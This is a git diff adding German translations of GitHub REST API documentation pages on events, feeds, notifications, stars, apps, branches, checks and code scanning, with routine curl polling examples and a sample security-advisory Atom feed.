+++ b/translations/de-DE/content/rest/activity/events.md
@@ -0,0 +1,38 @@
+---
+title: Events
+intro: 'Die Ereignis-API ist eine schreibgeschützte API für die {% data variables.product.prodname_dotcom %}-Ereignisse.'
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - API
+miniTocMaxHeadingLevel: 3
+ms.openlocfilehash: 09ad462fe00e84344bd1f0a33f97380a3f03e656
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '147064306'
+---
+Diese Ereignisse ermöglichen die verschiedene Aktivitätsströme auf der Website.
+
+Die Ereignis-API kann verschiedene Typen von Ereignissen zurückgeben, die durch Aktivität auf {% data variables.product.product_name %} ausgelöst werden. Weitere Informationen zu bestimmten Ereignissen, die du von der Ereignis-API empfangen kannst, findest du unter [{% data variables.product.prodname_dotcom %}-Ereignistypen](/developers/webhooks-and-events/github-event-types). Eine Ereignis-API für Repository-Issues ist ebenso verfügbar. Weitere Informationen findest du unter [Issue-Ereignis-API](/rest/reference/issues#events).
+
+Ereignisse werden für den Abruf mit dem Header „ETag“ optimiert. Wenn keine neuen Ereignisse ausgelöst wurden, wird die Antwort „304 Not Modified“ angezeigt, und das aktuelle Ratenlimit bleibt unverändert. Es gibt einen „X-Poll-Intervall“-Header, der angibt, wie oft der Abruf erfolgen darf (in Sekunden). In Zeiten hoher Serverauslastung kann dieser Zeitraum erhöht werden. Beachte den Header.
+
+``` shell
+$ curl -I {% data variables.product.api_url_pre %}/users/tater/events
+> HTTP/2 200
+> X-Poll-Interval: 60
+> ETag: "a18c3bded88eb5dbb5c849a489412bf3"
+
+# The quotes around the ETag value are important
+$ curl -I {% data variables.product.api_url_pre %}/users/tater/events \
+$    -H 'If-None-Match: "a18c3bded88eb5dbb5c849a489412bf3"'
+> HTTP/2 304
+> X-Poll-Interval: 60
+```
+
+Nur Ereignisse, die in den letzten 90 Tagen erstellt wurden, werden in den Zeitachsen eingeschlossen. Ereignisse, die älter als 90 Tage sind, werden nicht einbezogen (auch wenn die Gesamtanzahl der Ereignisse in der Zeitachse kleiner als 300 ist).
diff --git a/translations/de-DE/content/rest/activity/feeds.md b/translations/de-DE/content/rest/activity/feeds.md
new file mode 100644
index 0000000000..b839da91f6
--- /dev/null
+++ b/translations/de-DE/content/rest/activity/feeds.md
@@ -0,0 +1,83 @@
+---
+title: Feeds
+intro: ''
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - API
+miniTocMaxHeadingLevel: 3
+ms.openlocfilehash: 327d47eeee98a2b8a3fd5e1a7a07ae671c691686
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '147064298'
+---
+## Informationen zur Feeds-API
+
+Verwende den Vorgang [Feeds abrufen](#get-feeds), um zu sehen, welche Feeds für dich verfügbar sind. Du kannst anschließend einen Feed abrufen, indem du eine Anforderung an eine der Feed-URLs sendest.
+
+### Beispiel für das Abrufen eines Atom-Feeds
+
+Um einen Feed im Atom-Format abzurufen, musst du den `application/atom+xml`-Typ im `Accept`-Header angeben. Gehe beispielsweise folgendermaßen vor, um den Atom-Feed für GitHub-Sicherheitshinweise abzurufen:
+
+    curl -H "Accept: application/atom+xml" https://github.com/security-advisories
+
+#### Antwort
+
+```shell
+HTTP/2 200
+```
+
+```xml
+<?xml version="1.0" encoding="UTF-8"?>
+<feed xmlns="http://www.w3.org/2005/Atom" 
+xmlns:media="http://search.yahoo.com/mrss/" 
+xml:lang="en-US">
+  <id>tag:github.com,2008:/security-advisories</id>
+  <link rel="self" type="application/atom+xml" 
+  href="https://github.com/security-advisories.atom"/>
+  <title>GitHub Security Advisory Feed</title>
+  <author>
+    <name>GitHub</name>
+  </author>
+  <updated>2019-01-14T19:34:52Z</updated>
+     <entry>
+      <id>tag:github.com,2008:GHSA-abcd-12ab-23cd</id>
+      <published>2018-07-26T15:14:52Z</published>
+      <updated>2019-01-14T19:34:52Z</updated>
+      <title type="html">[GHSA-abcd-12ab-23cd] Moderate 
+      severity vulnerability that affects Octoapp</title>
+        <category term="NPM"/>
+      <content type="html">
+        &lt;p&gt;Octoapp node module before 4.17.5 suffers 
+        from a Modification of Assumed-Immutable Data (MAID) 
+        vulnerability via defaultsDeep, merge, and mergeWith 
+        functions, which allows a malicious user to modify 
+        the prototype of &quot;Object&quot; via 
+        &lt;strong&gt;proto&lt;/strong&gt;, causing the 
+        addition or modification of an existing property 
+        that will exist on all objects.&lt;/p&gt;
+          &lt;p&gt;&lt;strong&gt;Affected Packages&lt;/strong&gt;&lt;/p&gt;
+
+  &lt;dl&gt;
+      &lt;dt&gt;Octoapp&lt;/dt&gt;
+      &lt;dd&gt;Ecosystem: npm&lt;/dd&gt;
+      &lt;dd&gt;Severity: moderate&lt;/dd&gt;
+      &lt;dd&gt;Versions: &amp;lt; 4.17.5&lt;/dd&gt;
+        &lt;dd&gt;Fixed in: 4.17.5&lt;/dd&gt;
+  &lt;/dl&gt;
+
+          &lt;p&gt;&lt;strong&gt;References&lt;/strong&gt;&lt;/p&gt;
+
+  &lt;ul&gt;
+      &lt;li&gt;https://nvd.nist.gov/vuln/detail/CVE-2018-123&lt;/li&gt;
+  &lt;/ul&gt;
+
+      </content>
+    </entry>
+</feed>
+```
diff --git a/translations/de-DE/content/rest/activity/index.md b/translations/de-DE/content/rest/activity/index.md
new file mode 100644
index 0000000000..6fc8ac3339
--- /dev/null
+++ b/translations/de-DE/content/rest/activity/index.md
@@ -0,0 +1,28 @@
+---
+title: Aktivität
+intro: 'Mit der Aktivitäts-API kannst du Ereignisse und Feeds auflisten und für den authentifizierten Benutzer Benachrichtigungen, das Versehen mit einem Stern und die Beobachtung verwalten.'
+redirect_from:
+  - /v3/activity
+  - /rest/reference/activity
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - API
+miniTocMaxHeadingLevel: 3
+children:
+  - /events
+  - /feeds
+  - /notifications
+  - /starring
+  - /watching
+ms.openlocfilehash: 1ed6effbc11c106a685ec10263ac32e37b574e4b
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '147092910'
+---
+
diff --git a/translations/de-DE/content/rest/activity/notifications.md b/translations/de-DE/content/rest/activity/notifications.md
new file mode 100644
index 0000000000..1623a3b424
--- /dev/null
+++ b/translations/de-DE/content/rest/activity/notifications.md
@@ -0,0 +1,63 @@
+---
+title: Notifications
+intro: 'The Notifications API lets you manage {% data variables.product.product_name %} notifications.'
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - API
+miniTocMaxHeadingLevel: 3
+---
+
+## About the Notifications API
+
+{% data reusables.user-settings.notifications-api-classic-pat-only %}
+
+The Notifications API lets you manage {% data variables.product.product_name %} notifications. For more information about notifications, see "[About notifications](/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/about-notifications)."
+
+All Notification API calls require the `notifications` or `repo` API scopes.  Doing this will give read-only access to some issue and commit content. You will still need the `repo` scope to access issues and commits from their respective endpoints.
+
+Notifications come back as "threads".  A thread contains information about the current discussion of an issue, pull request, or commit.
+
+Notifications are optimized for polling with the `Last-Modified` header.  If there are no new notifications, you will see a `304 Not Modified` response, leaving your current rate limit untouched.  There is an `X-Poll-Interval` header that specifies how often (in seconds) you are allowed to poll.  In times of high server load, the time may increase.  Please obey the header.
+
+``` shell
+# Add authentication to your requests
+$ curl -I {% data variables.product.api_url_pre %}/notifications
+HTTP/2 200
+Last-Modified: Thu, 25 Oct 2012 15:16:27 GMT
+X-Poll-Interval: 60
+
+# Pass the Last-Modified header exactly
+$ curl -I {% data variables.product.api_url_pre %}/notifications
+$    -H "If-Modified-Since: Thu, 25 Oct 2012 15:16:27 GMT"
+> HTTP/2 304
+> X-Poll-Interval: 60
+```
+
+### About notification reasons
+
+When retrieving responses from the Notifications API, each payload has a key titled `reason`. These correspond to events that trigger a notification.
+
+These are the potential `reason`s for receiving a notification:
+
+Reason Name | Description
+------------|------------
+`assign` | You were assigned to the issue.
+`author` | You created the thread.
+`comment` | You commented on the thread.
+`ci_activity` | A {% data variables.product.prodname_actions %} workflow run that you triggered was completed.
+`invitation` | You accepted an invitation to contribute to the repository.
+`manual` | You subscribed to the thread (via an issue or pull request).
+`mention` | You were specifically **@mentioned** in the content.
+`review_requested` | You, or a team you're a member of, were requested to review a pull request.{% ifversion fpt or ghec %}
+`security_alert` | {% data variables.product.prodname_dotcom %} discovered a [security vulnerability](/github/managing-security-vulnerabilities/about-alerts-for-vulnerable-dependencies) in your repository.{% endif %}
+`state_change` | You changed the thread state (for example, closing an issue or merging a pull request).
+`subscribed` | You're watching the repository.
+`team_mention` | You were on a team that was mentioned.
+
+Note that the `reason` is modified on a per-thread basis, and can change, if the `reason` on a later notification is different.
+
+For example, if you are the author of an issue, subsequent notifications on that issue will have a `reason` of `author`. If you're then  **@mentioned** on the same issue, the notifications you fetch thereafter will have a `reason` of `mention`. The `reason` remains as `mention`, regardless of whether you're ever mentioned again.
diff --git a/translations/de-DE/content/rest/activity/starring.md b/translations/de-DE/content/rest/activity/starring.md
new file mode 100644
index 0000000000..739e68a0c6
--- /dev/null
+++ b/translations/de-DE/content/rest/activity/starring.md
@@ -0,0 +1,33 @@
+---
+title: Versehen mit einem Stern
+intro: Mit der Sterne-API kannst du ein Lesezeichen für ein Repository erstellen.
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - API
+miniTocMaxHeadingLevel: 3
+ms.openlocfilehash: 267d87a4120bba3dbfd080bcfe3e59b1ee3ec6d1
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '147064250'
+---
+## Informationen zur Sterne-API
+
+Mit der Sterne-API kannst du ein Lesezeichen für ein Repository erstellen. Sterne werden neben Repositorys angezeigt, um ein ungefähres Interessenniveau anzuzeigen. Sterne haben keine Auswirkungen auf Benachrichtigungen oder den Aktivitätsfeed. Weitere Informationen findest du unter [Speichern von Repositorys mit Sternen](/get-started/exploring-projects-on-github/saving-repositories-with-stars).
+
+### Versehen mit einem Stern im Vergleich zur Überwachung
+
+Im August 2012 [haben wir die Funktionsweise der Überwachung](https://github.com/blog/1204-notifications-stars) auf {% data variables.product.prodname_dotcom %} geändert. Viele API-Clientanwendungen verwenden möglicherweise die ursprünglichen „Watcher“-Endpunkte für den Zugriff auf diese Daten. Du kannst nun stattdessen die „Stern“-Endpunkte verwenden (siehe unten). Weitere Informationen findest du im [Watcher-API-Änderungsbeitrag](https://developer.github.com/changes/2012-09-05-watcher-api/) und im Abschnitt [Repository-Überwachungs-API](/rest/reference/activity#watching).
+
+### Benutzerdefinierte Medientypen für das Versehen mit einem Stern
+
+Es gibt einen unterstützten benutzerdefinierten Medientyp für die REST-API für das Versehen mit einem Stern. Wenn du diesen benutzerdefinierten Medientyp verwendest, erhältst du eine Antwort mit der `starred_at`-Zeitstempeleigenschaft, die angibt, wann der Stern erstellt wurde. Die Antwort verfügt auch über eine zweite Eigenschaft, die die Ressource enthält, die zurückgegeben wird, wenn der benutzerdefinierte Medientyp nicht enthalten ist. Die Eigenschaft, die die Ressource enthält, ist entweder `user` oder `repo`.
+
+    application/vnd.github.star+json
+
+Weitere Informationen zu Medientypen findest du unter [Benutzerdefinierte Medientypen](/rest/overview/media-types).
diff --git a/translations/de-DE/content/rest/activity/watching.md b/translations/de-DE/content/rest/activity/watching.md
new file mode 100644
index 0000000000..7fa1d40ff7
--- /dev/null
+++ b/translations/de-DE/content/rest/activity/watching.md
@@ -0,0 +1,21 @@
+---
+title: Watching (Überwachung)
+intro: Mit der Überwachungs-API können Benutzer*innen Benachrichtigungen für Aktivitäten in einem Repository abonnieren.
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - API
+miniTocMaxHeadingLevel: 3
+ms.openlocfilehash: 5a336aaf770129cc853735c2a35406c09cfb6a9e
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '147883481'
+---
+## Informationen zur Überwachungs-API
+
+Mit der Überwachungs-API können Benutzer*innen Benachrichtigungen für Aktivitäten in einem Repository abonnieren. Weitere Informationen zum Festlegen von Lesezeichen für ein Repository findest du unter [Versehen mit einem Stern](/rest/reference/activity#starring).
diff --git a/translations/de-DE/content/rest/apps/apps.md b/translations/de-DE/content/rest/apps/apps.md
new file mode 100644
index 0000000000..f4be5fc406
--- /dev/null
+++ b/translations/de-DE/content/rest/apps/apps.md
@@ -0,0 +1,30 @@
+---
+title: GitHub Apps
+allowTitleToDifferFromFilename: true
+intro: 'Mithilfe der {% data variables.product.prodname_github_apps %}-API kannst du Informationen zu {% data variables.product.prodname_github_apps %} abrufen.'
+topics:
+  - API
+miniTocMaxHeadingLevel: 3
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+ms.openlocfilehash: b9bb851837d7a5c61a74917eacf2154e7f29bc71
+ms.sourcegitcommit: 1309b46201604c190c63bfee47dce559003899bf
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '146769189'
+---
+## Informationen zur {% data variables.product.prodname_github_apps %}-API
+
+{% data reusables.apps.general-apps-restrictions %}
+
+Auf dieser Seite werden Endpunkte aufgelistet, auf die du während der Authentifizierung als GitHub-App zugreifen kannst. Weitere Informationen findest du unter [Authentifizierung als GitHub-App](/apps/building-github-apps/authenticating-with-github-apps/#authenticating-as-a-github-app).
+
+Bei der Authentifizierung als GitHub-App kannst du über die GitHub-Apps-API allgemeine Informationen zu einer GitHub-App sowie spezifische Informationen zur Installation der App erhalten.
+
+Während der Authentifizierung als GitHub-App kannst du auch auf REST-API-Endpunkte zugreifen. Diese Endpunkte sind mit dem Texthinweis „Mit GitHub-Apps kompatibel“ versehen. Auch während der Authentifizierung als Benutzer kannst du auf diese Endpunkte zugreifen.
+
+Eine Teilmenge der REST-API-Endpunkte erfordert die Authentifizierung als GitHub-App-Installation. Eine Liste dieser Endpunkte findest du unter [Installationen](/rest/reference/apps#installations).
diff --git a/translations/de-DE/content/rest/apps/index.md b/translations/de-DE/content/rest/apps/index.md
new file mode 100644
index 0000000000..42dc6b7673
--- /dev/null
+++ b/translations/de-DE/content/rest/apps/index.md
@@ -0,0 +1,28 @@
+---
+title: Apps
+intro: 'Die Apps-API auf GitHub ermöglicht es dir, Informationen über die Installation sowie spezifische Informationen über GitHub-Apps abzurufen.'
+redirect_from:
+  - /v3/apps
+  - /rest/reference/apps
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - API
+miniTocMaxHeadingLevel: 3
+children:
+  - /apps
+  - /installations
+  - /marketplace
+  - /oauth-applications
+  - /webhooks
+ms.openlocfilehash: d47b90083e59e72607472a6c217a759f590b7b80
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '147066393'
+---
+
diff --git a/translations/de-DE/content/rest/apps/installations.md b/translations/de-DE/content/rest/apps/installations.md
new file mode 100644
index 0000000000..0b0f0569a5
--- /dev/null
+++ b/translations/de-DE/content/rest/apps/installations.md
@@ -0,0 +1,25 @@
+---
+title: GitHub App-Installationen
+allowTitleToDifferFromFilename: true
+shortTitle: Installations
+intro: 'Mit der {% data variables.product.prodname_github_app %}-Installations-API kannst du Informationen über Installationen deiner {% data variables.product.prodname_github_app %} abrufen und Aktionen innerhalb dieser Installationen durchführen.'
+topics:
+  - API
+miniTocMaxHeadingLevel: 3
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+ms.openlocfilehash: 494aec35dadfde6aaf145d781a489fb885b71a43
+ms.sourcegitcommit: 478f2931167988096ae6478a257f492ecaa11794
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/09/2022
+ms.locfileid: '147711670'
+---
+## Informationen zur {% data variables.product.prodname_github_app %}-Installations-API
+
+Eine _Installation_ bezieht sich auf ein beliebiges Benutzer- oder Organisationskonto, für das die App installiert wurde. Unter [Authentifizieren als Installation](/apps/building-github-apps/authenticating-with-github-apps/#authenticating-as-an-installation) findest du Informationen dazu, wie du eine Installation authentifizieren und den Zugriff auf bestimmte Repositorys einschränken kannst.
+
+Informationen zum Auflisten aller GitHub App-Installationen einer Organisation findest du unter [Auflisten von Appinstallationen einer Organisation](/rest/orgs/orgs#list-app-installations-for-an-organization).
diff --git a/translations/de-DE/content/rest/apps/marketplace.md b/translations/de-DE/content/rest/apps/marketplace.md
new file mode 100644
index 0000000000..04d6a2df4b
--- /dev/null
+++ b/translations/de-DE/content/rest/apps/marketplace.md
@@ -0,0 +1,31 @@
+---
+title: GitHub Marketplace
+allowTitleToDifferFromFilename: true
+shortTitle: Marketplace
+intro: ''
+topics:
+  - API
+miniTocMaxHeadingLevel: 3
+versions:
+  fpt: '*'
+  ghec: '*'
+ms.openlocfilehash: acbdb60fc93898dd7c56c21f60e12fb9dbadb31d
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '145131746'
+---
+## Informationen zur {% data variables.product.prodname_marketplace %}-API
+
+Weitere Informationen zu {% data variables.product.prodname_marketplace %} findest du unter [GitHub Marketplace](/marketplace/).
+
+Mit der {% data variables.product.prodname_marketplace %}-API siehst du die Preispläne und Käufe der Kunden sowie aktive Abonnements für Konten.
+
+### Testen mit Stubendpunkten
+
+Diese API enthält Endpunkte, mit denen du [deine {% data variables.product.prodname_github_app %}](/marketplace/integrating-with-the-github-marketplace-api/testing-github-marketplace-apps/) mit **Stubdaten** testen kannst. Stubdaten sind hartcodierte Dummydaten, die sich nicht basierend auf tatsächlichen Abonnements ändern.
+
+Verwende zum Testen mit Stubdaten einen Stubendpunkt anstelle des Produktionsendpunkts. Auf diese Weise kannst du testen, ob die API-Logik funktioniert, bevor du {% data variables.product.prodname_github_apps %} auf dem {% data variables.product.prodname_marketplace %} anbietest.
+
+Ersetze die Stubendpunkte durch Produktionsendpunkte, bevor du die {% data variables.product.prodname_github_app %} bereitstellst.
diff --git a/translations/de-DE/content/rest/apps/oauth-applications.md b/translations/de-DE/content/rest/apps/oauth-applications.md
new file mode 100644
index 0000000000..e964f5eb47
--- /dev/null
+++ b/translations/de-DE/content/rest/apps/oauth-applications.md
@@ -0,0 +1,17 @@
+---
+title: OAuth Apps
+allowTitleToDifferFromFilename: true
+intro: ''
+topics:
+  - API
+miniTocMaxHeadingLevel: 3
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+---
+
+## About the {% data variables.product.prodname_oauth_app %} API
+
+You can use this API to manage the OAuth tokens an {% data variables.product.prodname_oauth_app %} uses to access people's accounts on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.location.product_location %}{% endif %}.
diff --git a/translations/de-DE/content/rest/apps/webhooks.md b/translations/de-DE/content/rest/apps/webhooks.md
new file mode 100644
index 0000000000..63451a8c92
--- /dev/null
+++ b/translations/de-DE/content/rest/apps/webhooks.md
@@ -0,0 +1,23 @@
+---
+title: GitHub-App-Webhooks
+allowTitleToDifferFromFilename: true
+shortTitle: Webhooks
+intro: ''
+topics:
+  - API
+miniTocMaxHeadingLevel: 3
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+ms.openlocfilehash: 24210c3fb7280b113771cd87f3fe21353f39d64c
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '145131740'
+---
+## Informationen zur {% data variables.product.prodname_github_app %}-Webhooks-API
+
+Mit einem {% data variables.product.prodname_github_app %}-Webhook kannst du HTTP-`POST`-Nutzlasten empfangen, wenn bestimmte Ereignisse für eine App auftreten. {% data reusables.webhooks.webhooks-rest-api-links %}
diff --git a/translations/de-DE/content/rest/billing.md b/translations/de-DE/content/rest/billing.md
new file mode 100644
index 0000000000..165184378a
--- /dev/null
+++ b/translations/de-DE/content/rest/billing.md
@@ -0,0 +1,22 @@
+---
+title: Abrechnung
+intro: Mit der Abrechnungs-API kannst du Abrechnungsinformationen für ein Unternehmen abrufen.
+topics:
+  - API
+miniTocMaxHeadingLevel: 3
+versions:
+  fpt: '*'
+  ghec: '*'
+  ghes: '>=3.4'
+redirect_from:
+  - /rest/reference/billing
+ms.openlocfilehash: 5657ca774117fad3a63b92a7eaada7cf40645d5e
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '147062505'
+---
+## Informationen zur Abrechnungs-API
+
+Du kannst Abrechnungsinformationen für ein Unternehmen abrufen. Weitere Informationen findest du in der REST-API für die [{% data variables.product.prodname_dotcom %} Enterprise-Administration](/rest/reference/enterprise-admin#billing).
diff --git a/translations/de-DE/content/rest/branches/branch-protection.md b/translations/de-DE/content/rest/branches/branch-protection.md
new file mode 100644
index 0000000000..c23da61e64
--- /dev/null
+++ b/translations/de-DE/content/rest/branches/branch-protection.md
@@ -0,0 +1,20 @@
+---
+title: Geschützte Branches
+intro: ''
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - API
+miniTocMaxHeadingLevel: 3
+allowTitleToDifferFromFilename: true
+ms.openlocfilehash: 08e6054d4077f2590634be1777aa4ec9701e9d69
+ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '147093133'
+---
+
diff --git a/translations/de-DE/content/rest/branches/branches.md b/translations/de-DE/content/rest/branches/branches.md
new file mode 100644
index 0000000000..d18714eff2
--- /dev/null
+++ b/translations/de-DE/content/rest/branches/branches.md
@@ -0,0 +1,19 @@
+---
+title: Branches
+intro: Mit der Branches-API kannst du Branches und deren Schutzeinstellungen ändern.
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - API
+miniTocMaxHeadingLevel: 3
+ms.openlocfilehash: 661c74b6da713445f3d923eeb6101cabe49dddd0
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '147066202'
+---
+
diff --git a/translations/de-DE/content/rest/branches/index.md b/translations/de-DE/content/rest/branches/index.md
new file mode 100644
index 0000000000..9fc7c37321
--- /dev/null
+++ b/translations/de-DE/content/rest/branches/index.md
@@ -0,0 +1,25 @@
+---
+title: Branches
+intro: Mit der Branches-API kannst du Branches und deren Schutzeinstellungen ändern.
+allowTitleToDifferFromFilename: true
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - API
+miniTocMaxHeadingLevel: 3
+children:
+  - /branches
+  - /branch-protection
+redirect_from:
+  - /rest/reference/branches
+ms.openlocfilehash: 9cd8a95d3b4ca5af52ed17f808bcbc3282b1739f
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '147061618'
+---
+
diff --git a/translations/de-DE/content/rest/checks/index.md b/translations/de-DE/content/rest/checks/index.md
new file mode 100644
index 0000000000..6fa56dab5b
--- /dev/null
+++ b/translations/de-DE/content/rest/checks/index.md
@@ -0,0 +1,25 @@
+---
+title: Prüfungen
+intro: 'Mit der API für Prüfungen kannst du {% data variables.product.prodname_github_apps %} erstellen, die wirksame Prüfungen der Codeänderungen in einem Repositorys vornehmen.'
+redirect_from:
+  - /v3/checks
+  - /rest/reference/checks
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - API
+miniTocMaxHeadingLevel: 3
+children:
+  - /runs
+  - /suites
+ms.openlocfilehash: d8b82dfcf447f130dbaedc0c47f34d86f444e848
+ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '147065842'
+---
+Du kannst Apps erstellen, die Continuous Integration, Codelinting oder Codescandienste ausführen und detailliertes Feedback zu Commits bereitstellen. Weitere Informationen findest du unter [Erste Schritte mit der Prüf-API](/rest/guides/getting-started-with-the-checks-api) und unter [Erstellen von CI-Tests mit der Prüf-API](/apps/quickstart-guides/creating-ci-tests-with-the-checks-api/).
diff --git a/translations/de-DE/content/rest/checks/runs.md b/translations/de-DE/content/rest/checks/runs.md
new file mode 100644
index 0000000000..8053a4658f
--- /dev/null
+++ b/translations/de-DE/content/rest/checks/runs.md
@@ -0,0 +1,20 @@
+---
+title: Überprüfungsausführungen
+intro: ''
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - API
+miniTocMaxHeadingLevel: 3
+allowTitleToDifferFromFilename: true
+ms.openlocfilehash: 5eb971c868a1b76ef7e0d871021041bf82ada771
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/12/2022
+ms.locfileid: '147886622'
+---
+
diff --git a/translations/de-DE/content/rest/checks/suites.md b/translations/de-DE/content/rest/checks/suites.md
new file mode 100644
index 0000000000..923cebebd9
--- /dev/null
+++ b/translations/de-DE/content/rest/checks/suites.md
@@ -0,0 +1,24 @@
+---
+title: Prüfsuiten
+intro: ''
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - API
+miniTocMaxHeadingLevel: 3
+allowTitleToDifferFromFilename: true
+ms.openlocfilehash: 3202e9e108f8020986d7abe14679df45307df337
+ms.sourcegitcommit: 1309b46201604c190c63bfee47dce559003899bf
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '147063194'
+---
+{% note %}
+
+  **Hinweis:** Eine GitHub-App empfängt nur ein [`check_suite`](/webhooks/event-payloads/#check_suite)-Ereignis pro Commit-SHA, auch wenn du den Commit-SHA an mehr ans einen Branch pushst. Abonniere die Ereignisse des Branchs [`create`](/webhooks/event-payloads/#create), um herauszufinden, wann ein Commit-SHA an einen Branch gepusht wurde.
+
+{% endnote %}
diff --git a/translations/de-DE/content/rest/code-scanning.md b/translations/de-DE/content/rest/code-scanning.md
new file mode 100644
index 0000000000..90625a7328
--- /dev/null
+++ b/translations/de-DE/content/rest/code-scanning.md
@@ -0,0 +1,37 @@
+---
+title: Codeüberprüfung
+intro: 'Mit der {% data variables.product.prodname_code_scanning %}-API kannst du {% data variables.product.prodname_code_scanning %}-Warnungen aus einem Repository abrufen und aktualisieren.'
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - API
+  - Code scanning
+  - REST
+miniTocMaxHeadingLevel: 3
+redirect_from:
+  - /rest/reference/code-scanning
+ms.openlocfilehash: 29e04fddb96212e716f2f54b1b62e99fcff1e4da
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '147061394'
+---
+{% data reusables.code-scanning.beta %}
+
+## Informationen zur Codeüberprüfungs-API
+
+Mit der {% data variables.product.prodname_code_scanning %}-API kannst du {% data variables.product.prodname_code_scanning %}-Warnungen aus einem Repository abrufen und aktualisieren. Du kannst die Endpunkte verwenden, um automatisierte Berichte für {% data variables.product.prodname_code_scanning %}-Warnungen in einer Organisation zu erstellen oder Analyseergebnisse hochzuladen, die mit Offline-{% data variables.product.prodname_code_scanning %}-Tools generiert wurden. Weitere Informationen findest du unter [Suchen von Sicherheitsrisiken und Fehlern in deinem Code](/github/finding-security-vulnerabilities-and-errors-in-your-code).
+
+### Benutzerdefinierter Medientyp für die {% data variables.product.prodname_code_scanning %}
+
+Es gibt einen unterstützten benutzerdefinierten Medientyp für die {% data variables.product.prodname_code_scanning %}-REST-API. 
+
+    application/sarif+json
+
